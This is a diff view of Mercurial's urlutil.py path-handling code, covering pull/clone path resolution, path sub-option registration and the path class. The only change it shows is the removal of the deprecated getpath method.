574 msg %= (path_count, action, source)
575 raise error.Abort(msg)
575 raise error.Abort(msg)
576 return pull_paths[0]
576 return pull_paths[0]
577
577
578
578
579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
580 """return a unique `(url, branch)` or abort if multiple are found
580 """return a unique `(url, branch)` or abort if multiple are found
581
581
582 See `get_unique_pull_path_obj` for details.
582 See `get_unique_pull_path_obj` for details.
583 """
583 """
584 path = get_unique_pull_path_obj(action, ui, source=source)
584 path = get_unique_pull_path_obj(action, ui, source=source)
585 return parseurl(path.rawloc, default_branches)
585 return parseurl(path.rawloc, default_branches)
586
586
587
587
588 def get_clone_path_obj(ui, source):
588 def get_clone_path_obj(ui, source):
589 """return the `(origsource, url, branch)` selected as clone source"""
589 """return the `(origsource, url, branch)` selected as clone source"""
590 if source == b'':
590 if source == b'':
591 return None
591 return None
592 return get_unique_pull_path_obj(b'clone', ui, source=source)
592 return get_unique_pull_path_obj(b'clone', ui, source=source)
593
593
594
594
595 def get_clone_path(ui, source, default_branches=None):
595 def get_clone_path(ui, source, default_branches=None):
596 """return the `(origsource, url, branch)` selected as clone source"""
596 """return the `(origsource, url, branch)` selected as clone source"""
597 path = get_clone_path_obj(ui, source)
597 path = get_clone_path_obj(ui, source)
598 if path is None:
598 if path is None:
599 return (b'', b'', (None, default_branches))
599 return (b'', b'', (None, default_branches))
600 if default_branches is None:
600 if default_branches is None:
601 default_branches = []
601 default_branches = []
602 branches = (path.branch, default_branches)
602 branches = (path.branch, default_branches)
603 return path.rawloc, path.loc, branches
603 return path.rawloc, path.loc, branches
604
604
605
605
606 def parseurl(path, branches=None):
606 def parseurl(path, branches=None):
607 '''parse url#branch, returning (url, (branch, branches))'''
607 '''parse url#branch, returning (url, (branch, branches))'''
608 u = url(path)
608 u = url(path)
609 branch = None
609 branch = None
610 if u.fragment:
610 if u.fragment:
611 branch = u.fragment
611 branch = u.fragment
612 u.fragment = None
612 u.fragment = None
613 return bytes(u), (branch, branches or [])
613 return bytes(u), (branch, branches or [])
614
614
615
615
616 class paths(dict):
616 class paths(dict):
617 """Represents a collection of paths and their configs.
617 """Represents a collection of paths and their configs.
618
618
619 Data is initially derived from ui instances and the config files they have
619 Data is initially derived from ui instances and the config files they have
620 loaded.
620 loaded.
621 """
621 """
622
622
623 def __init__(self, ui):
623 def __init__(self, ui):
624 dict.__init__(self)
624 dict.__init__(self)
625
625
626 home_path = os.path.expanduser(b'~')
626 home_path = os.path.expanduser(b'~')
627
627
628 for name, value in ui.configitems(b'paths', ignoresub=True):
628 for name, value in ui.configitems(b'paths', ignoresub=True):
629 # No location is the same as not existing.
629 # No location is the same as not existing.
630 if not value:
630 if not value:
631 continue
631 continue
632 _value, sub_opts = ui.configsuboptions(b'paths', name)
632 _value, sub_opts = ui.configsuboptions(b'paths', name)
633 s = ui.configsource(b'paths', name)
633 s = ui.configsource(b'paths', name)
634 root_key = (name, value, s)
634 root_key = (name, value, s)
635 root = ui._path_to_root.get(root_key, home_path)
635 root = ui._path_to_root.get(root_key, home_path)
636
636
637 multi_url = sub_opts.get(b'multi-urls')
637 multi_url = sub_opts.get(b'multi-urls')
638 if multi_url is not None and stringutil.parsebool(multi_url):
638 if multi_url is not None and stringutil.parsebool(multi_url):
639 base_locs = stringutil.parselist(value)
639 base_locs = stringutil.parselist(value)
640 else:
640 else:
641 base_locs = [value]
641 base_locs = [value]
642
642
643 paths = []
643 paths = []
644 for loc in base_locs:
644 for loc in base_locs:
645 loc = os.path.expandvars(loc)
645 loc = os.path.expandvars(loc)
646 loc = os.path.expanduser(loc)
646 loc = os.path.expanduser(loc)
647 if not hasscheme(loc) and not os.path.isabs(loc):
647 if not hasscheme(loc) and not os.path.isabs(loc):
648 loc = os.path.normpath(os.path.join(root, loc))
648 loc = os.path.normpath(os.path.join(root, loc))
649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
650 paths.append(p)
650 paths.append(p)
651 self[name] = paths
651 self[name] = paths
652
652
653 for name, old_paths in sorted(self.items()):
653 for name, old_paths in sorted(self.items()):
654 new_paths = []
654 new_paths = []
655 for p in old_paths:
655 for p in old_paths:
656 new_paths.extend(_chain_path(p, ui, self))
656 new_paths.extend(_chain_path(p, ui, self))
657 self[name] = new_paths
657 self[name] = new_paths
658
658
659 def getpath(self, ui, name, default=None):
660 """Return a ``path`` from a string, falling back to default.
661
662 ``name`` can be a named path or locations. Locations are filesystem
663 paths or URIs.
664
665 Returns None if ``name`` is not a registered path, a URI, or a local
666 path to a repo.
667 """
668 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
669 ui.deprecwarn(msg, b'6.0')
670 # Only fall back to default if no path was requested.
671 if name is None:
672 if not default:
673 default = ()
674 elif not isinstance(default, (tuple, list)):
675 default = (default,)
676 for k in default:
677 try:
678 return self[k][0]
679 except KeyError:
680 continue
681 return None
682
683 # Most likely empty string.
684 # This may need to raise in the future.
685 if not name:
686 return None
687 if name in self:
688 return self[name][0]
689 else:
690 # Try to resolve as a local path or URI.
691 path = try_path(ui, name)
692 if path is None:
693 raise error.RepoError(_(b'repository %s does not exist') % name)
694 return path.rawloc
695
696
659
697 _pathsuboptions = {}
660 _pathsuboptions = {}
698
661
699
662
700 def pathsuboption(option, attr):
663 def pathsuboption(option, attr):
701 """Decorator used to declare a path sub-option.
664 """Decorator used to declare a path sub-option.
702
665
703 Arguments are the sub-option name and the attribute it should set on
666 Arguments are the sub-option name and the attribute it should set on
704 ``path`` instances.
667 ``path`` instances.
705
668
706 The decorated function will receive as arguments a ``ui`` instance,
669 The decorated function will receive as arguments a ``ui`` instance,
707 ``path`` instance, and the string value of this option from the config.
670 ``path`` instance, and the string value of this option from the config.
708 The function should return the value that will be set on the ``path``
671 The function should return the value that will be set on the ``path``
709 instance.
672 instance.
710
673
711 This decorator can be used to perform additional verification of
674 This decorator can be used to perform additional verification of
712 sub-options and to change the type of sub-options.
675 sub-options and to change the type of sub-options.
713 """
676 """
714
677
715 def register(func):
678 def register(func):
716 _pathsuboptions[option] = (attr, func)
679 _pathsuboptions[option] = (attr, func)
717 return func
680 return func
718
681
719 return register
682 return register
720
683
721
684
722 @pathsuboption(b'pushurl', b'_pushloc')
685 @pathsuboption(b'pushurl', b'_pushloc')
723 def pushurlpathoption(ui, path, value):
686 def pushurlpathoption(ui, path, value):
724 u = url(value)
687 u = url(value)
725 # Actually require a URL.
688 # Actually require a URL.
726 if not u.scheme:
689 if not u.scheme:
727 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
690 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
728 msg %= (path.name, value)
691 msg %= (path.name, value)
729 ui.warn(msg)
692 ui.warn(msg)
730 return None
693 return None
731
694
732 # Don't support the #foo syntax in the push URL to declare branch to
695 # Don't support the #foo syntax in the push URL to declare branch to
733 # push.
696 # push.
734 if u.fragment:
697 if u.fragment:
735 ui.warn(
698 ui.warn(
736 _(
699 _(
737 b'("#fragment" in paths.%s:pushurl not supported; '
700 b'("#fragment" in paths.%s:pushurl not supported; '
738 b'ignoring)\n'
701 b'ignoring)\n'
739 )
702 )
740 % path.name
703 % path.name
741 )
704 )
742 u.fragment = None
705 u.fragment = None
743
706
744 return bytes(u)
707 return bytes(u)
745
708
746
709
747 @pathsuboption(b'pushrev', b'pushrev')
710 @pathsuboption(b'pushrev', b'pushrev')
748 def pushrevpathoption(ui, path, value):
711 def pushrevpathoption(ui, path, value):
749 return value
712 return value
750
713
751
714
752 SUPPORTED_BOOKMARKS_MODES = {
715 SUPPORTED_BOOKMARKS_MODES = {
753 b'default',
716 b'default',
754 b'mirror',
717 b'mirror',
755 b'ignore',
718 b'ignore',
756 }
719 }
757
720
758
721
759 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
722 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
760 def bookmarks_mode_option(ui, path, value):
723 def bookmarks_mode_option(ui, path, value):
761 if value not in SUPPORTED_BOOKMARKS_MODES:
724 if value not in SUPPORTED_BOOKMARKS_MODES:
762 path_name = path.name
725 path_name = path.name
763 if path_name is None:
726 if path_name is None:
764 # this is an "anonymous" path, config comes from the global one
727 # this is an "anonymous" path, config comes from the global one
765 path_name = b'*'
728 path_name = b'*'
766 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
729 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
767 msg %= (path_name, value)
730 msg %= (path_name, value)
768 ui.warn(msg)
731 ui.warn(msg)
769 if value == b'default':
732 if value == b'default':
770 value = None
733 value = None
771 return value
734 return value
772
735
773
736
774 DELTA_REUSE_POLICIES = {
737 DELTA_REUSE_POLICIES = {
775 b'default': None,
738 b'default': None,
776 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
739 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
777 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
740 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
778 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
741 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
779 }
742 }
780
743
781
744
782 @pathsuboption(b'delta-reuse-policy', b'delta_reuse_policy')
745 @pathsuboption(b'delta-reuse-policy', b'delta_reuse_policy')
783 def delta_reuse_policy(ui, path, value):
746 def delta_reuse_policy(ui, path, value):
784 if value not in DELTA_REUSE_POLICIES:
747 if value not in DELTA_REUSE_POLICIES:
785 path_name = path.name
748 path_name = path.name
786 if path_name is None:
749 if path_name is None:
787 # this is an "anonymous" path, config comes from the global one
750 # this is an "anonymous" path, config comes from the global one
788 path_name = b'*'
751 path_name = b'*'
789 msg = _(b'(paths.%s:delta-reuse-policy has unknown value: "%s")\n')
752 msg = _(b'(paths.%s:delta-reuse-policy has unknown value: "%s")\n')
790 msg %= (path_name, value)
753 msg %= (path_name, value)
791 ui.warn(msg)
754 ui.warn(msg)
792 return DELTA_REUSE_POLICIES.get(value)
755 return DELTA_REUSE_POLICIES.get(value)
793
756
794
757
795 @pathsuboption(b'multi-urls', b'multi_urls')
758 @pathsuboption(b'multi-urls', b'multi_urls')
796 def multiurls_pathoption(ui, path, value):
759 def multiurls_pathoption(ui, path, value):
797 res = stringutil.parsebool(value)
760 res = stringutil.parsebool(value)
798 if res is None:
761 if res is None:
799 ui.warn(
762 ui.warn(
800 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
763 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
801 )
764 )
802 res = False
765 res = False
803 return res
766 return res
804
767
805
768
806 def _chain_path(base_path, ui, paths):
769 def _chain_path(base_path, ui, paths):
807 """return the result of "path://" logic applied on a given path"""
770 """return the result of "path://" logic applied on a given path"""
808 new_paths = []
771 new_paths = []
809 if base_path.url.scheme != b'path':
772 if base_path.url.scheme != b'path':
810 new_paths.append(base_path)
773 new_paths.append(base_path)
811 else:
774 else:
812 assert base_path.url.path is None
775 assert base_path.url.path is None
813 sub_paths = paths.get(base_path.url.host)
776 sub_paths = paths.get(base_path.url.host)
814 if sub_paths is None:
777 if sub_paths is None:
815 m = _(b'cannot use `%s`, "%s" is not a known path')
778 m = _(b'cannot use `%s`, "%s" is not a known path')
816 m %= (base_path.rawloc, base_path.url.host)
779 m %= (base_path.rawloc, base_path.url.host)
817 raise error.Abort(m)
780 raise error.Abort(m)
818 for subpath in sub_paths:
781 for subpath in sub_paths:
819 path = base_path.copy()
782 path = base_path.copy()
820 if subpath.raw_url.scheme == b'path':
783 if subpath.raw_url.scheme == b'path':
821 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
784 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
822 m %= (path.rawloc, path.url.host)
785 m %= (path.rawloc, path.url.host)
823 raise error.Abort(m)
786 raise error.Abort(m)
824 path.url = subpath.url
787 path.url = subpath.url
825 path.rawloc = subpath.rawloc
788 path.rawloc = subpath.rawloc
826 path.loc = subpath.loc
789 path.loc = subpath.loc
827 if path.branch is None:
790 if path.branch is None:
828 path.branch = subpath.branch
791 path.branch = subpath.branch
829 else:
792 else:
830 base = path.rawloc.rsplit(b'#', 1)[0]
793 base = path.rawloc.rsplit(b'#', 1)[0]
831 path.rawloc = b'%s#%s' % (base, path.branch)
794 path.rawloc = b'%s#%s' % (base, path.branch)
832 suboptions = subpath._all_sub_opts.copy()
795 suboptions = subpath._all_sub_opts.copy()
833 suboptions.update(path._own_sub_opts)
796 suboptions.update(path._own_sub_opts)
834 path._apply_suboptions(ui, suboptions)
797 path._apply_suboptions(ui, suboptions)
835 new_paths.append(path)
798 new_paths.append(path)
836 return new_paths
799 return new_paths
837
800
838
801
839 class path:
802 class path:
840 """Represents an individual path and its configuration."""
803 """Represents an individual path and its configuration."""
841
804
842 def __init__(
805 def __init__(
843 self,
806 self,
844 ui=None,
807 ui=None,
845 name=None,
808 name=None,
846 rawloc=None,
809 rawloc=None,
847 suboptions=None,
810 suboptions=None,
848 validate_path=True,
811 validate_path=True,
849 ):
812 ):
850 """Construct a path from its config options.
813 """Construct a path from its config options.
851
814
852 ``ui`` is the ``ui`` instance the path is coming from.
815 ``ui`` is the ``ui`` instance the path is coming from.
853 ``name`` is the symbolic name of the path.
816 ``name`` is the symbolic name of the path.
854 ``rawloc`` is the raw location, as defined in the config.
817 ``rawloc`` is the raw location, as defined in the config.
855 ``_pushloc`` is the raw locations pushes should be made to.
818 ``_pushloc`` is the raw locations pushes should be made to.
856 (see the `get_push_variant` method)
819 (see the `get_push_variant` method)
857
820
858 If ``name`` is not defined, we require that the location be a) a local
821 If ``name`` is not defined, we require that the location be a) a local
859 filesystem path with a .hg directory or b) a URL. If not,
822 filesystem path with a .hg directory or b) a URL. If not,
860 ``ValueError`` is raised.
823 ``ValueError`` is raised.
861 """
824 """
862 if ui is None:
825 if ui is None:
863 # used in copy
826 # used in copy
864 assert name is None
827 assert name is None
865 assert rawloc is None
828 assert rawloc is None
866 assert suboptions is None
829 assert suboptions is None
867 return
830 return
868
831
869 if not rawloc:
832 if not rawloc:
870 raise ValueError(b'rawloc must be defined')
833 raise ValueError(b'rawloc must be defined')
871
834
872 self.name = name
835 self.name = name
873
836
874 # set by path variant to point to their "non-push" version
837 # set by path variant to point to their "non-push" version
875 self.main_path = None
838 self.main_path = None
876 self._setup_url(rawloc)
839 self._setup_url(rawloc)
877
840
878 if validate_path:
841 if validate_path:
879 self._validate_path()
842 self._validate_path()
880
843
881 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
844 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
882 self._own_sub_opts = {}
845 self._own_sub_opts = {}
883 if suboptions is not None:
846 if suboptions is not None:
884 self._own_sub_opts = suboptions.copy()
847 self._own_sub_opts = suboptions.copy()
885 sub_opts.update(suboptions)
848 sub_opts.update(suboptions)
886 self._all_sub_opts = sub_opts.copy()
849 self._all_sub_opts = sub_opts.copy()
887
850
888 self._apply_suboptions(ui, sub_opts)
851 self._apply_suboptions(ui, sub_opts)
889
852
890 def _setup_url(self, rawloc):
853 def _setup_url(self, rawloc):
891 # Locations may define branches via syntax <base>#<branch>.
854 # Locations may define branches via syntax <base>#<branch>.
892 u = url(rawloc)
855 u = url(rawloc)
893 branch = None
856 branch = None
894 if u.fragment:
857 if u.fragment:
895 branch = u.fragment
858 branch = u.fragment
896 u.fragment = None
859 u.fragment = None
897
860
898 self.url = u
861 self.url = u
899 # the url from the config/command line before dealing with `path://`
862 # the url from the config/command line before dealing with `path://`
900 self.raw_url = u.copy()
863 self.raw_url = u.copy()
901 self.branch = branch
864 self.branch = branch
902
865
903 self.rawloc = rawloc
866 self.rawloc = rawloc
904 self.loc = b'%s' % u
867 self.loc = b'%s' % u
905
868
906 def copy(self, new_raw_location=None):
869 def copy(self, new_raw_location=None):
907 """make a copy of this path object
870 """make a copy of this path object
908
871
909 When `new_raw_location` is set, the new path will point to it.
872 When `new_raw_location` is set, the new path will point to it.
910 This is used by the scheme extension so expand the scheme.
873 This is used by the scheme extension so expand the scheme.
911 """
874 """
912 new = self.__class__()
875 new = self.__class__()
913 for k, v in self.__dict__.items():
876 for k, v in self.__dict__.items():
914 new_copy = getattr(v, 'copy', None)
877 new_copy = getattr(v, 'copy', None)
915 if new_copy is not None:
878 if new_copy is not None:
916 v = new_copy()
879 v = new_copy()
917 new.__dict__[k] = v
880 new.__dict__[k] = v
918 if new_raw_location is not None:
881 if new_raw_location is not None:
919 new._setup_url(new_raw_location)
882 new._setup_url(new_raw_location)
920 return new
883 return new
921
884
922 @property
885 @property
923 def is_push_variant(self):
886 def is_push_variant(self):
924 """is this a path variant to be used for pushing"""
887 """is this a path variant to be used for pushing"""
925 return self.main_path is not None
888 return self.main_path is not None
926
889
927 def get_push_variant(self):
890 def get_push_variant(self):
928 """get a "copy" of the path, but suitable for pushing
891 """get a "copy" of the path, but suitable for pushing
929
892
930 This means using the value of the `pushurl` option (if any) as the url.
893 This means using the value of the `pushurl` option (if any) as the url.
931
894
932 The original path is available in the `main_path` attribute.
895 The original path is available in the `main_path` attribute.
933 """
896 """
934 if self.main_path:
897 if self.main_path:
935 return self
898 return self
936 new = self.copy()
899 new = self.copy()
937 new.main_path = self
900 new.main_path = self
938 if self._pushloc:
901 if self._pushloc:
939 new._setup_url(self._pushloc)
902 new._setup_url(self._pushloc)
940 return new
903 return new
941
904
942 def pushloc(self):
905 def pushloc(self):
943 """compatibility layer for the deprecated attributes"""
906 """compatibility layer for the deprecated attributes"""
944 from .. import util # avoid a cycle
907 from .. import util # avoid a cycle
945
908
946 msg = "don't use path.pushloc, use path.get_push_variant()"
909 msg = "don't use path.pushloc, use path.get_push_variant()"
947 util.nouideprecwarn(msg, b"6.5")
910 util.nouideprecwarn(msg, b"6.5")
948 return self._pushloc
911 return self._pushloc
949
912
950 def _validate_path(self):
913 def _validate_path(self):
951 # When given a raw location but not a symbolic name, validate the
914 # When given a raw location but not a symbolic name, validate the
952 # location is valid.
915 # location is valid.
953 if (
916 if (
954 not self.name
917 not self.name
955 and not self.url.scheme
918 and not self.url.scheme
956 and not self._isvalidlocalpath(self.loc)
919 and not self._isvalidlocalpath(self.loc)
957 ):
920 ):
958 raise ValueError(
921 raise ValueError(
959 b'location is not a URL or path to a local '
922 b'location is not a URL or path to a local '
960 b'repo: %s' % self.rawloc
923 b'repo: %s' % self.rawloc
961 )
924 )
962
925
963 def _apply_suboptions(self, ui, sub_options):
926 def _apply_suboptions(self, ui, sub_options):
964 # Now process the sub-options. If a sub-option is registered, its
927 # Now process the sub-options. If a sub-option is registered, its
965 # attribute will always be present. The value will be None if there
928 # attribute will always be present. The value will be None if there
966 # was no valid sub-option.
929 # was no valid sub-option.
967 for suboption, (attr, func) in _pathsuboptions.items():
930 for suboption, (attr, func) in _pathsuboptions.items():
968 if suboption not in sub_options:
931 if suboption not in sub_options:
969 setattr(self, attr, None)
932 setattr(self, attr, None)
970 continue
933 continue
971
934
972 value = func(ui, self, sub_options[suboption])
935 value = func(ui, self, sub_options[suboption])
973 setattr(self, attr, value)
936 setattr(self, attr, value)
974
937
975 def _isvalidlocalpath(self, path):
938 def _isvalidlocalpath(self, path):
976 """Returns True if the given path is a potentially valid repository.
939 """Returns True if the given path is a potentially valid repository.
977 This is its own function so that extensions can change the definition of
940 This is its own function so that extensions can change the definition of
978 'valid' in this case (like when pulling from a git repo into a hg
941 'valid' in this case (like when pulling from a git repo into a hg
979 one)."""
942 one)."""
980 try:
943 try:
981 return os.path.isdir(os.path.join(path, b'.hg'))
944 return os.path.isdir(os.path.join(path, b'.hg'))
982 # Python 2 may return TypeError. Python 3, ValueError.
945 # Python 2 may return TypeError. Python 3, ValueError.
983 except (TypeError, ValueError):
946 except (TypeError, ValueError):
984 return False
947 return False
985
948
986 @property
949 @property
987 def suboptions(self):
950 def suboptions(self):
988 """Return sub-options and their values for this path.
951 """Return sub-options and their values for this path.
989
952
990 This is intended to be used for presentation purposes.
953 This is intended to be used for presentation purposes.
991 """
954 """
992 d = {}
955 d = {}
993 for subopt, (attr, _func) in _pathsuboptions.items():
956 for subopt, (attr, _func) in _pathsuboptions.items():
994 value = getattr(self, attr)
957 value = getattr(self, attr)
995 if value is not None:
958 if value is not None:
996 d[subopt] = value
959 d[subopt] = value
997 return d
960 return d
General Comments 0
You need to be logged in to leave comments. Login now